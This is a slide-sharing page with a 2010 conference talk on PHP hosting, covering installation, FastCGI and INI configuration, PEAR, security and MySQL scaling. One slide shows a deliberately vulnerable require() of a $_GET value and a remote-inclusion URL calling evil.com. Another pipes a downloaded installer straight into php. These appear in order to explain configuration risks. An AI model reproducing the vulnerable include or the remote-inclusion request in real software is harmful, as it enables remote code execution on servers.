Python and Oracle : allies for best of data managementPython and Oracle : allies for best of data management
Python and Oracle : allies for best of data management
 
Meet a parallel, asynchronous PHP world
Meet a parallel, asynchronous PHP worldMeet a parallel, asynchronous PHP world
Meet a parallel, asynchronous PHP world
 
Top ten-list
Top ten-listTop ten-list
Top ten-list
 
PHP & Performance
PHP & PerformancePHP & Performance
PHP & Performance
 
Php Inside - confoo 2011 - Derick Rethans
Php Inside -  confoo 2011 - Derick RethansPhp Inside -  confoo 2011 - Derick Rethans
Php Inside - confoo 2011 - Derick Rethans
 
Lares from LOW to PWNED
Lares from LOW to PWNEDLares from LOW to PWNED
Lares from LOW to PWNED
 
TIAD - DYI: A simple orchestrator built step by step
TIAD - DYI: A simple orchestrator built step by stepTIAD - DYI: A simple orchestrator built step by step
TIAD - DYI: A simple orchestrator built step by step
 
php & performance
 php & performance php & performance
php & performance
 
Php training100%placement-in-mumbai
Php training100%placement-in-mumbaiPhp training100%placement-in-mumbai
Php training100%placement-in-mumbai
 
Heavy Web Optimization: Backend
Heavy Web Optimization: BackendHeavy Web Optimization: Backend
Heavy Web Optimization: Backend
 

Mehr von Combell NV

Play it extra safe! Kies een goede cyberverzekering
Play it extra safe! Kies een goede cyberverzekeringPlay it extra safe! Kies een goede cyberverzekering
Play it extra safe! Kies een goede cyberverzekeringCombell NV
 
Hoe gebruik je het resellerplatform als partner van Combell
Hoe gebruik je het resellerplatform als partner van CombellHoe gebruik je het resellerplatform als partner van Combell
Hoe gebruik je het resellerplatform als partner van CombellCombell NV
 
Managed WordPress bij Combell – wat doet dat precies?
Managed WordPress bij Combell – wat doet dat precies?Managed WordPress bij Combell – wat doet dat precies?
Managed WordPress bij Combell – wat doet dat precies?Combell NV
 
Back-ups: Hoe ze je kunnen redden van een cyberaanval
Back-ups: Hoe ze je kunnen redden van een cyberaanvalBack-ups: Hoe ze je kunnen redden van een cyberaanval
Back-ups: Hoe ze je kunnen redden van een cyberaanvalCombell NV
 
Cyberaanvallen: Overzicht, gevolgen en beveiligingstips
Cyberaanvallen: Overzicht, gevolgen en beveiligingstipsCyberaanvallen: Overzicht, gevolgen en beveiligingstips
Cyberaanvallen: Overzicht, gevolgen en beveiligingstipsCombell NV
 
Hoe gebruik je het resellerplatform als partner van Combell
Hoe gebruik je het resellerplatform als partner van CombellHoe gebruik je het resellerplatform als partner van Combell
Hoe gebruik je het resellerplatform als partner van CombellCombell NV
 
Hoe laat je jouw website scoren in zoekmachines zoals Google
Hoe laat je jouw website scoren in zoekmachines zoals GoogleHoe laat je jouw website scoren in zoekmachines zoals Google
Hoe laat je jouw website scoren in zoekmachines zoals GoogleCombell NV
 
Een webshop bouwen in WooCommerce – advanced sessie
Een webshop bouwen in WooCommerce – advanced sessieEen webshop bouwen in WooCommerce – advanced sessie
Een webshop bouwen in WooCommerce – advanced sessieCombell NV
 
Hoe start je een webshop met WordPress / WooCommerce
Hoe start je een webshop met WordPress / WooCommerceHoe start je een webshop met WordPress / WooCommerce
Hoe start je een webshop met WordPress / WooCommerceCombell NV
 
Keeping the cloud in check cvodmd
Keeping the cloud in check cvodmdKeeping the cloud in check cvodmd
Keeping the cloud in check cvodmdCombell NV
 
Hybrid cloud wiskyweb2012
Hybrid cloud wiskyweb2012Hybrid cloud wiskyweb2012
Hybrid cloud wiskyweb2012Combell NV
 
2012 03-27 developers e-commercedag presentatie5 ssl
2012 03-27 developers e-commercedag presentatie5 ssl2012 03-27 developers e-commercedag presentatie5 ssl
2012 03-27 developers e-commercedag presentatie5 sslCombell NV
 
2012 03-27 developers e-commercedag presentatie2 drupal
2012 03-27 developers e-commercedag presentatie2 drupal2012 03-27 developers e-commercedag presentatie2 drupal
2012 03-27 developers e-commercedag presentatie2 drupalCombell NV
 
2012 03-27 developers e-commercedag presentatie1 magento
2012 03-27 developers e-commercedag presentatie1 magento2012 03-27 developers e-commercedag presentatie1 magento
2012 03-27 developers e-commercedag presentatie1 magentoCombell NV
 
2012 03-27 developers e-commercedag presentatie4 ogone
2012 03-27 developers e-commercedag presentatie4 ogone2012 03-27 developers e-commercedag presentatie4 ogone
2012 03-27 developers e-commercedag presentatie4 ogoneCombell NV
 
10 doe-het-zelf tips om aan e-commerce te doen
10 doe-het-zelf tips om aan e-commerce te doen10 doe-het-zelf tips om aan e-commerce te doen
10 doe-het-zelf tips om aan e-commerce te doenCombell NV
 
Develop and deploy using Hybrid Cloud Strategies confoo2012
Develop and deploy using Hybrid Cloud Strategies confoo2012Develop and deploy using Hybrid Cloud Strategies confoo2012
Develop and deploy using Hybrid Cloud Strategies confoo2012Combell NV
 
Hybrid Cloud PHPUK2012
Hybrid Cloud PHPUK2012Hybrid Cloud PHPUK2012
Hybrid Cloud PHPUK2012Combell NV
 
2012 02-07 sql denali presentatie microsoft
2012 02-07 sql denali presentatie microsoft2012 02-07 sql denali presentatie microsoft
2012 02-07 sql denali presentatie microsoftCombell NV
 
11 tips om in de Cloud te raken en er niet uit te vallen
11 tips om in de Cloud te raken en er niet uit te vallen11 tips om in de Cloud te raken en er niet uit te vallen
11 tips om in de Cloud te raken en er niet uit te vallenCombell NV
 

Mehr von Combell NV (20)

Play it extra safe! Kies een goede cyberverzekering
Play it extra safe! Kies een goede cyberverzekeringPlay it extra safe! Kies een goede cyberverzekering
Play it extra safe! Kies een goede cyberverzekering
 
Hoe gebruik je het resellerplatform als partner van Combell
Hoe gebruik je het resellerplatform als partner van CombellHoe gebruik je het resellerplatform als partner van Combell
Hoe gebruik je het resellerplatform als partner van Combell
 
Managed WordPress bij Combell – wat doet dat precies?
Managed WordPress bij Combell – wat doet dat precies?Managed WordPress bij Combell – wat doet dat precies?
Managed WordPress bij Combell – wat doet dat precies?
 
Back-ups: Hoe ze je kunnen redden van een cyberaanval
Back-ups: Hoe ze je kunnen redden van een cyberaanvalBack-ups: Hoe ze je kunnen redden van een cyberaanval
Back-ups: Hoe ze je kunnen redden van een cyberaanval
 
Cyberaanvallen: Overzicht, gevolgen en beveiligingstips
Cyberaanvallen: Overzicht, gevolgen en beveiligingstipsCyberaanvallen: Overzicht, gevolgen en beveiligingstips
Cyberaanvallen: Overzicht, gevolgen en beveiligingstips
 
Hoe gebruik je het resellerplatform als partner van Combell
Hoe gebruik je het resellerplatform als partner van CombellHoe gebruik je het resellerplatform als partner van Combell
Hoe gebruik je het resellerplatform als partner van Combell
 
Hoe laat je jouw website scoren in zoekmachines zoals Google
Hoe laat je jouw website scoren in zoekmachines zoals GoogleHoe laat je jouw website scoren in zoekmachines zoals Google
Hoe laat je jouw website scoren in zoekmachines zoals Google
 
Een webshop bouwen in WooCommerce – advanced sessie
Een webshop bouwen in WooCommerce – advanced sessieEen webshop bouwen in WooCommerce – advanced sessie
Een webshop bouwen in WooCommerce – advanced sessie
 
Hoe start je een webshop met WordPress / WooCommerce
Hoe start je een webshop met WordPress / WooCommerceHoe start je een webshop met WordPress / WooCommerce
Hoe start je een webshop met WordPress / WooCommerce
 
Keeping the cloud in check cvodmd
Keeping the cloud in check cvodmdKeeping the cloud in check cvodmd
Keeping the cloud in check cvodmd
 
Hybrid cloud wiskyweb2012
Hybrid cloud wiskyweb2012Hybrid cloud wiskyweb2012
Hybrid cloud wiskyweb2012
 
2012 03-27 developers e-commercedag presentatie5 ssl
2012 03-27 developers e-commercedag presentatie5 ssl2012 03-27 developers e-commercedag presentatie5 ssl
2012 03-27 developers e-commercedag presentatie5 ssl
 
2012 03-27 developers e-commercedag presentatie2 drupal
2012 03-27 developers e-commercedag presentatie2 drupal2012 03-27 developers e-commercedag presentatie2 drupal
2012 03-27 developers e-commercedag presentatie2 drupal
 
2012 03-27 developers e-commercedag presentatie1 magento
2012 03-27 developers e-commercedag presentatie1 magento2012 03-27 developers e-commercedag presentatie1 magento
2012 03-27 developers e-commercedag presentatie1 magento
 
2012 03-27 developers e-commercedag presentatie4 ogone
2012 03-27 developers e-commercedag presentatie4 ogone2012 03-27 developers e-commercedag presentatie4 ogone
2012 03-27 developers e-commercedag presentatie4 ogone
 
10 doe-het-zelf tips om aan e-commerce te doen
10 doe-het-zelf tips om aan e-commerce te doen10 doe-het-zelf tips om aan e-commerce te doen
10 doe-het-zelf tips om aan e-commerce te doen
 
Develop and deploy using Hybrid Cloud Strategies confoo2012
Develop and deploy using Hybrid Cloud Strategies confoo2012Develop and deploy using Hybrid Cloud Strategies confoo2012
Develop and deploy using Hybrid Cloud Strategies confoo2012
 
Hybrid Cloud PHPUK2012
Hybrid Cloud PHPUK2012Hybrid Cloud PHPUK2012
Hybrid Cloud PHPUK2012
 
2012 02-07 sql denali presentatie microsoft
2012 02-07 sql denali presentatie microsoft2012 02-07 sql denali presentatie microsoft
2012 02-07 sql denali presentatie microsoft
 
11 tips om in de Cloud te raken en er niet uit te vallen
11 tips om in de Cloud te raken en er niet uit te vallen11 tips om in de Cloud te raken en er niet uit te vallen
11 tips om in de Cloud te raken en er niet uit te vallen
 

Kürzlich hochgeladen

What's New in Teams Calling, Meetings and Devices March 2024
What's New in Teams Calling, Meetings and Devices March 2024What's New in Teams Calling, Meetings and Devices March 2024
What's New in Teams Calling, Meetings and Devices March 2024Stephanie Beckett
 
Time Series Foundation Models - current state and future directions
Time Series Foundation Models - current state and future directionsTime Series Foundation Models - current state and future directions
Time Series Foundation Models - current state and future directionsNathaniel Shimoni
 
A Deep Dive on Passkeys: FIDO Paris Seminar.pptx
A Deep Dive on Passkeys: FIDO Paris Seminar.pptxA Deep Dive on Passkeys: FIDO Paris Seminar.pptx
A Deep Dive on Passkeys: FIDO Paris Seminar.pptxLoriGlavin3
 
SIP trunking in Janus @ Kamailio World 2024
SIP trunking in Janus @ Kamailio World 2024SIP trunking in Janus @ Kamailio World 2024
SIP trunking in Janus @ Kamailio World 2024Lorenzo Miniero
 
"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr Bagan"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr BaganFwdays
 
TeamStation AI System Report LATAM IT Salaries 2024
TeamStation AI System Report LATAM IT Salaries 2024TeamStation AI System Report LATAM IT Salaries 2024
TeamStation AI System Report LATAM IT Salaries 2024Lonnie McRorey
 
Digital Identity is Under Attack: FIDO Paris Seminar.pptx
Digital Identity is Under Attack: FIDO Paris Seminar.pptxDigital Identity is Under Attack: FIDO Paris Seminar.pptx
Digital Identity is Under Attack: FIDO Paris Seminar.pptxLoriGlavin3
 
Unraveling Multimodality with Large Language Models.pdf
Unraveling Multimodality with Large Language Models.pdfUnraveling Multimodality with Large Language Models.pdf
Unraveling Multimodality with Large Language Models.pdfAlex Barbosa Coqueiro
 
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024BookNet Canada
 
Nell’iperspazio con Rocket: il Framework Web di Rust!
Nell’iperspazio con Rocket: il Framework Web di Rust!Nell’iperspazio con Rocket: il Framework Web di Rust!
Nell’iperspazio con Rocket: il Framework Web di Rust!Commit University
 
Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptx
Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptxUse of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptx
Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptxLoriGlavin3
 
DSPy a system for AI to Write Prompts and Do Fine Tuning
DSPy a system for AI to Write Prompts and Do Fine TuningDSPy a system for AI to Write Prompts and Do Fine Tuning
DSPy a system for AI to Write Prompts and Do Fine TuningLars Bell
 
Generative AI for Technical Writer or Information Developers
Generative AI for Technical Writer or Information DevelopersGenerative AI for Technical Writer or Information Developers
Generative AI for Technical Writer or Information DevelopersRaghuram Pandurangan
 
Moving Beyond Passwords: FIDO Paris Seminar.pdf
Moving Beyond Passwords: FIDO Paris Seminar.pdfMoving Beyond Passwords: FIDO Paris Seminar.pdf
Moving Beyond Passwords: FIDO Paris Seminar.pdfLoriGlavin3
 
Dev Dives: Streamline document processing with UiPath Studio Web
Dev Dives: Streamline document processing with UiPath Studio WebDev Dives: Streamline document processing with UiPath Studio Web
Dev Dives: Streamline document processing with UiPath Studio WebUiPathCommunity
 
TrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data PrivacyTrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data PrivacyTrustArc
 
Anypoint Exchange: It’s Not Just a Repo!
Anypoint Exchange: It’s Not Just a Repo!Anypoint Exchange: It’s Not Just a Repo!
Anypoint Exchange: It’s Not Just a Repo!Manik S Magar
 
(How to Program) Paul Deitel, Harvey Deitel-Java How to Program, Early Object...
(How to Program) Paul Deitel, Harvey Deitel-Java How to Program, Early Object...(How to Program) Paul Deitel, Harvey Deitel-Java How to Program, Early Object...
(How to Program) Paul Deitel, Harvey Deitel-Java How to Program, Early Object...AliaaTarek5
 
Gen AI in Business - Global Trends Report 2024.pdf
Gen AI in Business - Global Trends Report 2024.pdfGen AI in Business - Global Trends Report 2024.pdf
Gen AI in Business - Global Trends Report 2024.pdfAddepto
 
Take control of your SAP testing with UiPath Test Suite
Take control of your SAP testing with UiPath Test SuiteTake control of your SAP testing with UiPath Test Suite
Take control of your SAP testing with UiPath Test SuiteDianaGray10
 

Kürzlich hochgeladen (20)

What's New in Teams Calling, Meetings and Devices March 2024
What's New in Teams Calling, Meetings and Devices March 2024What's New in Teams Calling, Meetings and Devices March 2024
What's New in Teams Calling, Meetings and Devices March 2024
 
Time Series Foundation Models - current state and future directions
Time Series Foundation Models - current state and future directionsTime Series Foundation Models - current state and future directions
Time Series Foundation Models - current state and future directions
 
A Deep Dive on Passkeys: FIDO Paris Seminar.pptx
A Deep Dive on Passkeys: FIDO Paris Seminar.pptxA Deep Dive on Passkeys: FIDO Paris Seminar.pptx
A Deep Dive on Passkeys: FIDO Paris Seminar.pptx
 
SIP trunking in Janus @ Kamailio World 2024
SIP trunking in Janus @ Kamailio World 2024SIP trunking in Janus @ Kamailio World 2024
SIP trunking in Janus @ Kamailio World 2024
 
"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr Bagan"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr Bagan
 
TeamStation AI System Report LATAM IT Salaries 2024
TeamStation AI System Report LATAM IT Salaries 2024TeamStation AI System Report LATAM IT Salaries 2024
TeamStation AI System Report LATAM IT Salaries 2024
 
Digital Identity is Under Attack: FIDO Paris Seminar.pptx
Digital Identity is Under Attack: FIDO Paris Seminar.pptxDigital Identity is Under Attack: FIDO Paris Seminar.pptx
Digital Identity is Under Attack: FIDO Paris Seminar.pptx
 
Unraveling Multimodality with Large Language Models.pdf
Unraveling Multimodality with Large Language Models.pdfUnraveling Multimodality with Large Language Models.pdf
Unraveling Multimodality with Large Language Models.pdf
 
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
 
Nell’iperspazio con Rocket: il Framework Web di Rust!
Nell’iperspazio con Rocket: il Framework Web di Rust!Nell’iperspazio con Rocket: il Framework Web di Rust!
Nell’iperspazio con Rocket: il Framework Web di Rust!
 
Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptx
Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptxUse of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptx
Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptx
 
DSPy a system for AI to Write Prompts and Do Fine Tuning
DSPy a system for AI to Write Prompts and Do Fine TuningDSPy a system for AI to Write Prompts and Do Fine Tuning
DSPy a system for AI to Write Prompts and Do Fine Tuning
 
Generative AI for Technical Writer or Information Developers
Generative AI for Technical Writer or Information DevelopersGenerative AI for Technical Writer or Information Developers
Generative AI for Technical Writer or Information Developers
 
Moving Beyond Passwords: FIDO Paris Seminar.pdf
Moving Beyond Passwords: FIDO Paris Seminar.pdfMoving Beyond Passwords: FIDO Paris Seminar.pdf
Moving Beyond Passwords: FIDO Paris Seminar.pdf
 
Dev Dives: Streamline document processing with UiPath Studio Web
Dev Dives: Streamline document processing with UiPath Studio WebDev Dives: Streamline document processing with UiPath Studio Web
Dev Dives: Streamline document processing with UiPath Studio Web
 
TrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data PrivacyTrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data Privacy
 
Anypoint Exchange: It’s Not Just a Repo!
Anypoint Exchange: It’s Not Just a Repo!Anypoint Exchange: It’s Not Just a Repo!
Anypoint Exchange: It’s Not Just a Repo!
 
(How to Program) Paul Deitel, Harvey Deitel-Java How to Program, Early Object...
(How to Program) Paul Deitel, Harvey Deitel-Java How to Program, Early Object...(How to Program) Paul Deitel, Harvey Deitel-Java How to Program, Early Object...
(How to Program) Paul Deitel, Harvey Deitel-Java How to Program, Early Object...
 
Gen AI in Business - Global Trends Report 2024.pdf
Gen AI in Business - Global Trends Report 2024.pdfGen AI in Business - Global Trends Report 2024.pdf
Gen AI in Business - Global Trends Report 2024.pdf
 
Take control of your SAP testing with UiPath Test Suite
Take control of your SAP testing with UiPath Test SuiteTake control of your SAP testing with UiPath Test Suite
Take control of your SAP testing with UiPath Test Suite
 

Php through the eyes of a hoster pbc10

  • 1. PHP  through  the  eyes  of  a  hoster Thijs  Feryn Support  manager +32  (0)9  218  79  06 thijs@combellgroup.com PHP  Barcelona  Conference Saturday  October  30th  2010 Barcelona  Spain
  • 2. About  me I’m  the  support  manager  at  Combell
  • 3. About  me I’m  a  board  member  at  PHPBenelux
  • 4. I  live  in  the  wonderful  city  of  Bruges MPBecker  -­‐  Bruges  by  Night  hOp://www.flickr.com/photos/galverson2/3715965933
  • 5. Follow  me  on  Twi0er:  @ThijsFeryn Rate  my  talk:  h0p://joind.in Read  my  blog:  h0p://blog.feryn.eu
  • 6.
  • 7.
  • 8. Chapter  I  :  The  hoster,  a  genuine  stakeholder  in  the   PHP  universe
  • 9. Stakeholders Customer Development  company Endusers MGMT Internal IT Internal PM Devs Sales MGMT QA Design Systeam PM Consultants Hoster PHP  community
  • 10. Stakeholders Your  app  needs  to  be  hosted Somewhere  along  the  road  ...
  • 11. Goals  &  moKves Our  goals  &  mo]ves  are  the  same  as  yours: • It  has  to  work • It  has  to  perform • It  has  to  scale • It  has  to  be  secure • It  has  to  be  available
  • 12.
  • 13.
  • 14.
  • 15. Chapter  II:  InstallaKon  &  configuraKon
  • 16. Installing  from  source server$  ./configure  -­‐-­‐prefix=/usr/local/php-­‐5.2.10   -­‐-­‐with-­‐apxs2=/usr/local/httpd-­‐2.2.12/bin/apxs  -­‐-­‐ with-­‐zlib  -­‐-­‐with-­‐curl  -­‐-­‐with-­‐gd  -­‐-­‐enable-­‐mbstring   -­‐-­‐with-­‐mysql  -­‐-­‐with-­‐mysqli  -­‐-­‐enable-­‐pcntl  -­‐-­‐with-­‐ pdo-­‐mysql  -­‐-­‐with-­‐readline  -­‐-­‐enable-­‐soap  -­‐-­‐with-­‐xsl   -­‐-­‐with-­‐mcrypt  -­‐-­‐with-­‐mssql  -­‐-­‐with-­‐snmp  -­‐-­‐with-­‐imap   -­‐-­‐with-­‐kerberos  -­‐-­‐with-­‐imap-­‐ssl  -­‐-­‐with-­‐config-­‐ file-­‐path=/etc/php5/  -­‐-­‐enable-­‐sockets  -­‐-­‐with-­‐ freetype-­‐dir  -­‐-­‐with-­‐openssl   server$  make server$  make  install
  • 17. Installing  using  a  package  manager  (APT/ApKtude) Install  PHP: Install  MySQL  library  for  PHP: server$  apt-­‐get  install  php5 server$  apt-­‐get  install  php5-­‐mysql
  • 18. SAPI  ...  schmapi Mod_php FastCGI CLI Web Apache  module gateway -­‐ Process Apache  process php-­‐cgi php Configura]on Apache  conf  files wrapper on  the  fly User Apache  user shell  user  or   suexec  user shell  user
  • 19. FastCGI Example  config: • Apache  handler    <IfModule  mod_fcgid.c>        SuexecUserGroup  dev  dev        PHP_Fix_Pathinfo_Enable  1        <Directory  /var/www/dev/www/>            Options  +ExecCGI            AllowOverride  All            AddHandler  fcgid-­‐script  .php            FCGIWrapper  /var/www/dev/etc/fcgi.wrapper  .php            Order  allow,deny            Allow  from  all        </Directory>    </IfModule>
  • 20. FastCGI Example  config: • Wrapper  script #!/bin/sh PHPRC=/usr/local/php-­‐5.3.1/etc export  PHPRC export  PHP_FCGI_MAX_REQUESTS=5000 export  PHP_FCGI_CHILDREN=8 exec  /usr/local/php-­‐5.3.1/bin/php-­‐cgi
  • 21. INI  seQngs:  tales  of  good  &  evil
  • 22. INI  seQngs:  tales  of  good  &  evil Defining  INI  se<ngs: • Php.ini • Ini_set() • “-­‐d”   • php_value • php_flag • php_admin_value • php_admin_flag
  • 23. INI  seQngs:  tales  of  good  &  evil Memory_limit: Fatal  error:  Allowed  memory  size  of  16777216   bytes  exhausted  (tried  to  allocate  35  bytes)
  • 24.
  • 25. INI  seQngs:  tales  of  good  &  evil Safe_mode  &  Open_basedir: <IfModule  mod_php5.c>        php_admin_flag  engine  on        php_admin_flag  safe_mode  off        php_admin_value  open_basedir  "/var/www/vhosts/ website.com/httpdocs:/tmp" </IfModule>
  • 26. INI  seQngs:  tales  of  good  &  evil Allow_url_fopen: <?php $lang= $_GET['lang']; require("$lang.php"); http://domain.ext/index.php?lang=http://evil.com/hack.txt?
  • 27. Chapter  III:  Versions  &  features
  • 28. PHP  4:  End  of  life,  but  far  from  dead
  • 29. PHP  4:  End  of  life,  but  far  from  dead Parse  error:  syntax  error,  unexpected  T_STRING,   expecting  T_OLD_FUNCTION  or  T_FUNCTION  or  T_VAR   or  '}'  in  test.php  on  line  4
  • 31. It  HAS  to  be  PHP  5.3.2  !!!
  • 32. I  need  ALL  PHP  extension  !!!
  • 33. I  use  ALL  PHP  features  !!!
  • 34. Fruit  &  vegetables:  PEAR  &  PECL
  • 35. Fruit  &  vegetables:  PEAR  &  PECL PEAR PHP  Extension  and  Applica]on  Repository  (h#p//pear.php.net) server$  pear  install  date server$  lynx  -­‐source  http://pear.php.net/go-­‐pear  |  php
  • 36. Fruit  &  vegetables:  PEAR  &  PECL PECL  (pickle) PHP  Extension  Community  Library  (h#p//pecl.php.net) server$  pecl  install  pecl_http
  • 37. Popular  frameworks  outside  the  PHP  project External  frameworks
  • 38. Chapter  IV:  PHP  a0racts  a  crowd
  • 40. That  easy  ! <?php echo "Hello world!";
  • 43. Everyone  can  be  a  PHP  developer
  • 44. But  not  everyone  has  what  it  takes
  • 45. Luckily  there’s  a  lot  ready-­‐to-­‐use  PHP  soiware  out  there
  • 46. Who  you  gonna  call  ?
  • 47. But  when  helpers  need  help  ...
  • 48. They  reach  out  to  the  PHP  community Blogs Forums User  Group  mee]ngs Conferences PHP.net TwiOer IRC
  • 49. Chapter  V:  Here  be  phpirates
  • 51. Fact “The  majority  of  hacking/absue  cases  are  PHP  related”
  • 52. False  assumpKons “Open  source  is  evil” “PHP  has  lots  of  security  vulnerabili]es  and  is  not  mature”
  • 53. Here  be  phpirates The  real  issues • Quality  of  the  code • Network  &  server  security • PHP  version  &  configura]on
  • 57. Scalability  ==  constant  speed  under  increasing  load
  • 62. mysql>  explain  SELECT  field1,  (SELECT  COUNT(*)  FROM  table2  WHERE  field3  =   table1.id)  FROM  table1  WHERE  field2  =  1    ORDER  BY  field4  DESC  limit   12,12; ***************************  1.  row  ***************************                      id:  1    select_type:  PRIMARY                table:  table1                  type:  ALL possible_keys:  approved                    key:  approved            key_len:  NULL                    ref:  NULL                  rows:  3143                Extra:  Using  where;  Using  filesort ***************************  2.  row  ***************************                      id:  2    select_type:  DEPENDENT  SUBQUERY                table:  table2                  type:  ALL possible_keys:  NULL                    key:  NULL            key_len:  NULL                    ref:  NULL                  rows:  1005                Extra:  Using  where
  • 63. mysql>  show  processlist; +-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐ +-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+ |  Id        |  User  |  Host            |  db  |  Command  |  Time  |  State                                |  Info                                                                                         | +-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐ +-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+ |  63515  |  root  |  localhost  |  db  |  Query      |        0  |  NULL                                  |  show   processlist                                                                | |  81763  |  root  |  localhost  |  db  |  Sleep      |    105  |                                            |  NULL                                                                                         | |  85187  |  root  |  localhost  |  db  |  Query      |        0  |  Sending  data                  |  SELECT   data  from  someTable  where  field  =  'val'    | |  82701  |  root  |  localhost  |  db  |  Query      |        0  |  Copying  to  tmp  table  |  SELECT   data  from  someTable  where  field='val2'      | |  82709  |  root  |  localhost  |  db  |  Query      |        0  |  Sorting  result              |  SELECT   data  from  someTable  where  order  by  field  | |  82716  |  root  |  localhost  |  db  |  Query      |        0  |  Opening  tables              |  SELECT   data  from  someOtherTable                                  | +-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐ +-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+
  • 64. Scaling  MySQL  with  replicaKon
  • 66.
  • 71. Summary 1.Hosters  are  a  genuine  stakeholder  in  the  PHP  universe 2.PHP  is  highly  flexible  &  configurable.  Hosters  have  to  ensure  a  decent   setup 3.PHP  has  a  lot  to  offer  feature-­‐wise 4.PHP  aOracts  a  crowd  and  brings  a  lot  of  people  together  from   different  industries  (e.g.  hosters) 5.Lots  of  abuse  cases  are  PHP  related,  but  that’s  not  the  fault  of  PHP   itself 6.PHP  itself  doesn’t  scale  *that*  well,  but  is  flexible  enough  to  ensure   scalability  via  extra  tools
  • 72.
  • 73.
  • 74. Q&A